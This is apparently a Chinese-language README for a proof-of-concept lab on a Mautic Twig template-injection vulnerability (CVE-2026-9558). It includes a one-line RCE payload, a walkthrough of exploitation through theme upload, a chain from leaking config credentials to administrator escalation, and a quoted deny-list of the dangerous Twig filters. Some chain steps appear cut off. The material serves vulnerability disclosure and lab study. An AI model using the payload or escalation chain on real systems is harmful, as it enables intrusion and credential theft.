CVE-2026-9558 是 Mautic 主题引擎中的一个服务端模板注入(SSTI)漏洞。通过主题管理器上传的主题是包含 Twig 模板的 ZIP 压缩包,在受影响版本中,这些模板由应用程序默认的 Twig Environment 渲染,且未附加任何 SandboxExtension 策略。
由于 Twig 可以通过 map、filter 和 reduce 等过滤器调用任意 PHP 可调用对象,因此拥有主题上传权限的已认证用户可以安装一个主题,其模板一旦被渲染就会执行任意系统命令——而该渲染会在用户首次针对该主题打开邮件或落地页构建器时自动发生。
{{ ["id"] | map("system") | join }}
| 受影响范围 | 修复版本 |
|---|---|
| >= 1.3.0, < 4.4.13 | 4.4.13(4.4.20 通过 ELTS) |
| >= 5.0.0, < 5.2.11 | 5.2.11 |
| >= 6.0.0, < 6.0.9 | 6.0.9 |
| >= 7.0.0, < 7.1.2 | 7.1.2 |
本实验环境针对 7.1.1,即修复前的最后一个版本。
Mautic 的开发者文档称,主题模板会在受限的 Twig 沙箱中渲染:
Mautic 会在受限的 Twig 沙箱环境中渲染用户上传的主题模板。该沙箱会阻止某些可能导致远程代码执行、数据泄露或文件系统探测的函数和过滤器。
在受影响版本中,该沙箱策略并不存在。修复版本(7.1.2)引入了 ThemeSandboxPolicy.php,这是一个基于黑名单的 SecurityPolicyInterface 实现,用于阻止 map、filter 和 reduce 过滤器,以及包括 source()(任意文件读取)和 configGetParameter()(泄露数据库凭据和应用程序密钥)在内的若干函数。该修复自身的行内注释记录了这个 PoC 所使用的确切载荷形态:
private const DENIED_FILTERS = [
'map', // {{ ['id']|map('system')|join }} -> RCE
'reduce',
'filter',
];
在此策略之前,任何主题渲染路径上都不存在此类限制。
该攻击链已针对一个低权限账户进行了端到端验证,该账户仅具有主题(创建/编辑)和电子邮件(创建/编辑)权限组——而非管理员——以匹配公告 CVSS 向量中的 PR:L 前提条件。
.twig 文件中的 system() 调用。config/local.php,以明文形式暴露数据库凭据和应用程序 secret_key。PDO 连接,将低权限账户提升为 role_id 1(管理员),从而完全绕过 Mautic 的应用程序级权限检查。uid=33(www-data) gid=33(www-data) groups=33(www-data)
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
rows_updated=1
confirm: 2|priv-esc|1
安全公告指出 PR:L。本实验环境在实践中证实了这一特定的低权限前提条件:到达渲染触发点需要同时具备主题上传权限和邮件创建权限——而非某个单一的通用低权限。除官方修复外,没有任何变通方案可以限制该问题;唯一有记录的缓解措施是将 core:themes:create 限制为受信任的管理员。
cve-2026-9558-poc/
├── podman-compose.yml # MariaDB + Mautic 7.1.1-apache, isolated bridge network
├── Dockerfile.mautic # pins the official image to the vulnerable release
├── install.sh # non-interactive mautic:install bootstrap
└── sparse/
├── config.json # malicious theme manifest
├── sparse.zip # theme ready to be uploaded
└── html/
├── email.html.twig # SSTI payload template. Look at the end of file where there is the placeholder for injecting arbitrary commands.
├── ... # Other .twig files
└── .../ # Other directories (e.g css)
| 工具 | 版本 | 说明 |
|---|---|---|
| Podman | ≥ 4.0 | 需要 podman-compose |
| curl | 任意 | 由 install.sh 用于轮询就绪状态 |
此 PoC 中的利用通过 Mautic Web UI 手动执行(主题管理器上传 → 邮件构建器),与真实攻击者的工作流程一致:主题上传是文件操作,而非在此分析阶段值得自动化的 API 调用。
podman-compose up -d
./install.sh
install.sh 会等待应用容器接受连接,然后以非交互方式运行 mautic:install,以引导创建第一个管理员账户。
在 UI 中创建一个自定义角色,仅启用主题(创建/编辑)和电子邮件(创建/编辑),并将一个用户分配给该角色。这样可以复现 PR:L 前提条件,而不是以管理员身份进行测试。
以低权限用户身份登录。从主题 → 上传中,上传一个由 sparse/config.json 和 sparse/html/page.html.twig 构建的 ZIP(或任意内置主题的修改副本,并在其 .twig 文件中添加载荷行)。
从渠道 → 电子邮件 → 新建中,选择上传的主题作为模板,然后打开构建器。主题一旦为预览而渲染,载荷便会立即执行。
podman-compose down -v
uid=33(www-data) gid=33(www-data) groups=33(www-data)
本仓库仅用于教育目的和本地可利用性分析。所有测试均针对自托管的容器环境进行。请勿对你不拥有或未经明确书面授权测试的系统运行此 PoC。
| 资源 | 链接 |
|---|
| 安全公告 | GHSA-9fx4-7cmj-47vg |
| 修复(沙箱策略) | ThemeSandboxPolicy.php |
| 受影响仓库 | mautic/mautic |
| 完整分析——博客文章 | return-zero.dev/posts/cve-2026-9558 |